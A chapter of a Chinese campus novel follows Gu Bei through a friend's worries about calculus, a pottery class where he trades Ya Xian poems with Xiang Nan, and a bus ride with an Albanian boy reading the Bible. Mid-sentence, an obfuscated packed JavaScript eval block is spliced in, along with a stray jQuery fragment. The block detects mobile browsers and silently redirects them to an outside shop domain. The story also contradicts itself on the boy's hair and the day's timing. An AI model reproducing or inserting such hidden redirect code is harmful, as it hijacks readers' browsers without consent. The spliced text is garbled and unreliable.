第十三章 陶艺课与圣经
周四晚上，海晴给顾北发了一条消息，只有三个字："怎么办。"顾北正要回，她又发了一条："我真的学不会高数。"顾北还没来得及打字，手机又震了一下："上课的时候老师讲导数，我脑子里全是浆糊。他写的每个字母我都认识，连在一起我就不知道是什么了。"顾北想了想，回了一句："明天中午一起吃饭，叫上欢。"
周五中午二食堂，三个人照例占了靠窗的老位置。海晴比上周更憔悴了些，眼下有一层淡淡的青灰色，像是好几天没睡好。她面前的那碗面几乎没动，筷子搁在碗沿上，汤面上浮着一层油花。"我是不是选错专业了？"海晴低着头，声音闷闷的，"我觉得我不适合学计算机。"欢看了她一眼："那你觉得你适合学什么？"海晴沉默了很久："不知道。"顾北夹了一筷子菜放进她碗里："先吃饭。吃饱了再说。"海晴拿起筷子，象征性地挑了几根面送进嘴里，嚼了两下又放下："我前两天晚上做梦，梦到我在上高数课，老师讲着讲着突然变成一个巨大的公式，朝我压过来。我拼命跑，跑不动，腿像灌了铅一样。"
欢认真地想了想："你要不要考虑转专业？"海晴抬起头："转什么？""不知道。但你现在才大一，还来得及。你要是真不喜欢，早点想清楚比拖到大三再后悔要好。"海晴低头看着碗里的面，沉默了几秒："你们有想过转专业吗？"顾北说："我现在学英语，虽然不是很确定以后做什么，但上课的时候不觉得难受。"欢说："我学环境工程，也还好。每天上课能学到以前不知道的东西，有新鲜感。"海晴叹了口气："那就只有我一个人了。"顾北放下筷子，认真地说："不一定要立刻做决定。但你可以开始打听转专业的条件，去听听别的专业的课，看看有没有让你心动的。大一上学期本来就是用来试错的。""试错。"海晴重复了一下这两个字，像是第一次听到这个词。顾北点了点头："对，试错。没人规定你在十八岁的时候就要选对一生的路。选错了没关系，换就是了。"
那天下午，海晴回到宿舍后，趴在桌上发呆，然后打开电脑，进入学校官网，点开了"转专业规定"的页面，一个字一个字地读完。她发现成绩要求是"第一学期所有课程平均绩点不低于3.0"，她算了一下——以她目前高数的状态，要达到这个绩点，她必须把高数考到85分以上。她盯着那个数字看了很久，然后关掉了网页。过了一会儿又打开了。
周五上午，选修课确认的通知在教务系统里弹了出来。顾北正在上阅读课，手机在桌肚里无声地震了一下。他趁老师转身写板书的间隙低头扫了一眼屏幕——"您已成功选修《陶艺基础》，上课时间：每周五下午14:00-16:00，地点：东区陶艺工作室。"他锁了屏，把手机塞回桌肚，继续听课，但笔在指间转了两圈。周五下午一点五十分，顾北站在东区那片红砖建筑前面。陶艺工作室在一栋老楼的底层，外墙爬了半壁的常青藤，窗户是老式的木质百叶窗，漆成墨绿色，有几扇关着，有几扇半开。门口没有挂招牌，只在门框上方钉了一块巴掌大的木牌，用毛笔写着两个字，字迹温润拙朴——"陶艺"。他推门走进去的时候，一股泥土特有的湿润气息扑面而来。是那种带着矿物味的、微微发凉的土腥气，和校园里别的教室的气味完全不同——没有粉笔灰、没有油墨、没有消毒水，只有泥。
工作室很大，大约有六十多平米，靠墙是一排木质工作台，台面上放着转盘、刮刀、刻刀、海绵和几块半干的泥坯。墙角堆着几袋灰色陶泥和整整齐齐码放的素烧坯。窗户朝南，午后的阳光透过百叶窗的缝隙照进来，在青灰色的水泥地面上投下一道道平行的光影。空气里浮着极细的灰尘，慢悠悠地在光柱里旋转，像一片微缩的星云。他踏进教室的瞬间，一眼就看到了一个熟悉的背影正站在靠窗的工作台前，背对着门，弯腰在整理一块泥坯。阳光正好落在她身上，把她整个人裹在一层柔和的暖光里。她穿着一件浅灰色的围裙，围裙上沾了一小块干掉的泥斑，像一小片浅褐色的花瓣。她的头发松松地扎在脑后，几缕碎发落在颈侧。
顾北朝着那个方向走过去，她似乎是听到了脚步声，转过身来。看见顾北的瞬间，她的目光短暂地亮了一下，嘴角微微弯起一个弧度："你也选了这个？""嗯，上周看课表的时候，觉得这个有意思。"向南点了点头，没有多说什么，只是侧身让了让，指了指她旁边的工作台："那边空着。"顾北放下书包，围上围裙，站在向南旁边的工作台前。台面上摆着一块新泥，湿润的，微微发凉。他拿起一块泥坯放在手里，感受了一下它的重量和温度。隔壁工作台上，向南已经开始把泥揉成球形，动作娴熟而克制，指腹推开泥块的时候，带着一种非常稳定的节奏，不急不躁，像她在做一件她已经做过很多次的事情。"你以前学过？"顾北问。"学过一点。"向南低头看着手里的泥，手指推了推边缘，"高中的时候，学校旁边有个陶艺工作室，周末去玩过几次。"她抬头看了一眼顾北手里的泥坯："你得先把它揉透了，不然里面会有气泡，烧的时候会炸。"
顾北低头看了看自己手里那块还带着棱角的泥团，试着揉了几下，发现比想象中费劲。泥很硬，掌心贴着它来回推压，能感到颗粒在指腹下慢慢变软、变匀，像把一个粗糙的东西一点一点捋平。他揉了一会儿，觉得有点像在揉面——力气不能太小，太小揉不开；不能太大，太大泥会塌。得找到那个刚刚好的劲道。"像揉面。"他说，"我们小时候经常用家乡的黄泥和稻田里的淤泥和匀了，然后做成自己喜欢的东西。"向南笑了，这次是真的笑了一下，嘴角的弧度比之前大了一些："对，像揉面。我妈以前包饺子的时候也这么说——面要揉到'三光'，手光、盆光、面光。泥也是。"顾北低头继续揉，没有再接话。两个人在午后的阳光里各自揉着泥，沉默，但沉默里有种安然的默契。工作室里只有转盘偶尔转动的嗡鸣声和刮刀划过泥面的细微声响，间或有人从旁边经过，脚步放得很轻。
上课铃响的时候，任课老师来了——一个头发花白的中年男人，姓杜，话不多，示范了几个基本手法就让大家自己动手。顾北把揉好的泥放在转盘上，试着让它转起来。第一下用力过猛，泥团歪向一侧，差点飞出去。他赶紧扶住，把泥重新按回中心。向南在旁边轻声说："手要稳，用力要均匀。"她示范了一下——双手握住泥团两侧，肘部夹紧身体，用整个上半身的重量去引导转盘上的泥，而不是只用手指的力量。她的动作很慢，但每一个动作都干净，像在泥里摸到了某种隐形的核。顾北照着做了一遍，这一次，泥团在转盘上稳定下来，开始慢慢成型。他用手心拢住泥团的顶部，拇指从中心轻轻往下压，让泥从中间向外壁挤出。泥在指尖下旋转、延展、变形，从一团混沌慢慢生长出形状。他看着那个正在成形的轮廓，感到一种奇异的安定——好像在这一小块泥里，时间忽然变慢了，变具体了。"你打算做什么？"向南问，没有抬头，手里的泥正在被她一点一点拉高。"还没想好，"顾北说，"先让它自己长着。"他又加了一句："有时候做着做着就能看出来它想变成什么。"向南手上的动作停顿了不到半秒。然后她轻声说："我也是。我有时候画着画着，画完才发现画的是自己在想的东西。"
转盘嗡嗡地转着。泥在两人各自的手下慢慢有了形状。顾北的那块泥，在他几次调整之后，已经初具一个粗陶罐的轮廓——肚子大、口小、底窄，线条谈不上流畅，但有一种笨拙的、正在生长的生命力。向南做的是一个瘦长的瓶子，瓶颈微微收窄，瓶身有一道柔和的弧线，像一滴被拉长了的水珠。"你这个，"顾北看了一眼她的作品，"有点像那句诗里的杯子。""哪句？""'你渴吗？杯中水已满。'"向南愣了一下，手上的动作停了："你也读过痖弦？""我读过很多乱七八糟的东西。"顾北把转盘调慢了一些，指尖蘸了点水，沿着瓶颈的位置轻轻抹了一圈："我高中同桌以前有一本《痖弦诗集》，翻得特别旧了。里面有一首《红玉米》，我还记得一句：'整个下午，你坐在树下，等着，等着'。""等着什么？""不知道。诗里也没说。"
向南低头看着自己手里的泥瓶，沉默了几秒。然后她轻声念了一句："'而黄河之水，呜咽着流过你的脚趾。'是同一首里的。"顾北转过头看了她一眼。她没抬头，手指还在瓶身上轻轻抚过，把一道不太平整的边沿压平。午后的阳光透过百叶窗的缝隙落在她手背上，把那些细小的泥渍照成浅金色的斑点。"痖弦还有一个句子，"向南忽然又说了一句，声音比刚才更轻，像是自言自语，"'如果你能告诉她，春天是不会死人的。'"顾北没有接话。他低头看着自己手里那个正在成型的粗陶罐，泥在指尖下慢慢变干、变硬。他想说"我喜欢那句"，但他没说出来，只是把手上的泥又蘸了一点水，继续沿着罐沿走了一圈。
下课铃响的时候，顾北的粗陶罐已经基本成型了。他在底部刻了一个小小的"北"字，笔画很浅，拇指轻轻按了一下边缘。向南的瓶子也收了口，瓶颈的弧度比她最初设想的略微偏了一点，但她没有改，就让它那样留着。两人一起到水池边洗手。水流冲刷下来的时候，泥土从指缝间滑下去，在白色陶瓷盆底积成一小团灰棕色的泥浆，然后被水流冲散，打着旋消失在下水口。"下周还来？"他问。"来。"向南关了水龙头，甩了甩手上的水，"陶泥还没干透呢。"她转过身去解围裙，动作比往常慢一些，像是在用那点时间去整理什么。背带松开的时候，她侧过头朝窗外看了一眼，然后轻声说了一句："这句痖弦的诗你应该知道——'而你，你是那一片，被风丢在岸上的，碎月亮。'"她说完这句话，转头对顾北说道：“我等一下还有一堂课，就先走了。”然后把围裙叠好放回架子上，背起书包走出了工作室。她的背影消失在门外那片倾斜的午后阳光里，像一滴水融进了河流。
周六上午，顾北、海晴和欢一起坐上了8路公交车往市区去。海晴的情绪比前两天好了一些，虽然眼下还泛着淡淡的青色，但至少愿意说话了。她靠在窗边，看着车窗外掠过的梧桐树："你们说，如果一个人不知道自己想干什么，是不是很失败？"顾北坐在她旁边，摇了摇头："大部分人都不知道。只不过有些人装得知道而已。"海晴忍不住笑了："你这是在安慰我吗？""我在陈述事实。"欢坐在过道另一侧，插了一句："他说话就这样，你得自己判断哪些是事实，哪些是安慰。"海晴笑着拍了顾北一下："反正我今天不想高数的事了。你们俩负责让我开心。"顾北说："那简单。你看窗外那棵梧桐树——它知道自己为什么长成这样吗？不知道，但它还是长成这样了。""你这比喻好烂。"海晴笑着转过头，但目光里多了一点光。
公交车继续向前。在又一个站台停下的时候，上来一个金发碧眼的少年。他约莫十四五岁，个子不高，瘦瘦的，背着一个洗得发白的深蓝色双肩包，手里攥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881405|212473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着一张公交卡。他的皮肤是小麦色的，眉眼很深，鼻梁高挺，头发是深棕色的，微微卷曲，在午后的阳光下泛着一层柔和的棕色光泽。他穿着一件普通的白色T恤和灰色运动裤，看起来就像任何一个周末出门的少年，但他的目光——顾北注意到——有一种和他年龄不太相符的东西，安静的、笃定的，像一口被树荫遮蔽的井。少年环顾了一下车厢，在顾北旁边的空位坐了下来。他把双肩包放在腿上，没有玩手机，没有听歌，只是安静地看着窗外，目光在掠过的街景上缓慢移动。过了一会儿他从包里掏出一本书，黑色封面，正中央印着一个金色十字架，十字架下方是烫金的英文字母"Holy Bible"。他翻开书，手指停留在某一页的右下角，拇指轻轻压着纸页边缘，读得很慢，读完一段后会停一下，目光从书页上抬起来看着窗外想几秒，然后又低头继续看。
顾北不禁对这个少年产生了好奇，他试着用英语给少年打招呼："Hello, where do you come from?"少年笑了笑，露出一排白牙，用几乎流利的中文说道："我来自阿尔巴尼亚，我在中国生活六年了。""你中文讲得真好。"顾北说道。"我爸爸妈妈在中国游历、教学，他们很喜欢中国文化，所以从小就让我学中文。"顾北再次注意到少年手中的书，问道，这是《圣经》吗？少年低下头，手指轻轻抚过封面上的金色十字架："这本书分两部分，前面叫旧约，后面叫新约。旧约是用希伯来文写的——就是古时候犹太人的语言。新约是用希腊文写的。旧约比新约早很多，里面的故事也更多，创世、洪水、摩西带以色列人出埃及，好多好多。但旧约里的上帝有时候很严厉，新约里通过耶稣讲的爱更多一些。我更喜欢新约。"
顾北第一次知道这本全世界流传最广的书，原来是用两种他从来没接触过的语言写成的。那些文字跨越了几千年，经过无数次的翻译，才变成眼前这本黑色封面的中文版。他忍不住又问："那你现在读的是旧约还是新约？""旧约。"少年重新翻开书，手指落在他刚才读到的那一页，"我正在读《雅歌》，里面很多比喻很美，但有些我不太懂。"顾北的目光顺着他的手指看过去，正好落在书页中间那三个字上——"香草山。"
他的心跳忽然顿了一下。这三个字，突然击中了他。他想起向南的QQ空间，那幅梵高《星空》的背景墙上，有一行小字——"在这片已经不再蔚蓝的天空下，如果还有一双眼睛愿意与我一同哭泣，那么生活便值得我为之受苦。"他当时觉得这句话莫名熟悉，却怎么也想不起来在哪里见过。此刻看到"香草山"这三个字，那些散落的碎片忽然拼在了一起。那行话来自一本书，书名就叫《香草山》，是作家余杰写的一部小说。向南空间的背景墙上那行字，正是《香草山》里的句子。而此刻，一个阿尔巴尼亚少年手里捧着《圣经》，手指正点在"香草山"这三个字上。同一个词，同一片山，出现在两本完全不同的书里——一本是流传千年的宗教经典，一本是当代中国作家写的小说。顾北盯着那三个字看了很久，目光中明显多了几许温柔。
少年注意到他的目光，抬头问："你知道'香草山'是什么意思吗？"顾北回过神来，认真想了想："应该是一个比喻。不是一个真实的地方，而是一种象征——一个美好的、安宁的、可以让人安心停留的地方。有点像陶渊明写的桃花源，你读过吗？""读过！"少年的眼睛亮了一下，"《桃花源记》。那个渔夫走进去之后想再回去，就找不到了。所以桃花源就是中国人心里的香草山？""差不多。"顾北点了点头，"很多人一辈子都在找那个地方，但很少有人真的找到。"少年歪着头想了一下："在旧约里，是《雅歌》里面的。但我觉得它也在新约里——因为新约里的爱更温柔，更像香草山上应该有的那种感觉。"他笑了笑，笑容澄澈而坦然。
你要不要看看，少年问道。
顾北没有推辞，他接过书，翻开那本黑色封面的书，在第一页停住了。那行字在光里格外清晰——"起初，神创造天地。"他接着往下读，一个字一个字地读，读得很慢，像是生怕漏掉了什么。窗外的街景在光里一格一格地向后褪去，而那些跨越了数千年的文字，正一行一行地从纸页上站起来，安静地走进他的世界。他读到某一页的时候，目光停在了一行字上——"爱是永不止息。"他合上书，把那句话记在了心里。公交车驶过南溪大桥的时候，夕阳正好落进江面，把整条江水染成碎金般的颜色。公交车在又一个站台停下的时候，少年站起来背好双肩包，转过身对顾北笑了笑："我要下车了。顾北把书还给少年，少年接过书挥了挥手，转身跳下了车。他在站台上回头看了一眼，然后沿着人行道跑远了，双肩包在背上轻轻晃动，很快就消失在梧桐树影和阳光交错的光斑里。
从市区回来的路上，他忽然发现，自己记住的痖弦诗句里，有一半是别人念给他听的。而那些句子好像因此变得更重了一些，像泥里掺了水，从一个松散的形状变成了可以被握住的实体。他又想起那本黑色封面的书，少年说"香草山"在旧约里，但新约里的爱更温柔，更像香草山应该有的感觉。而向南，在他完全不知情的时候，已经把一句关于香草山的话放在了自己的空间里，放了那么久，久到他今天才真正读懂。他走到北三楼下的时候，风从梧桐树间穿过，把几片半黄的叶子吹落在脚边，他没有停下脚步。
山在那里。路还没有名字。但他在走了。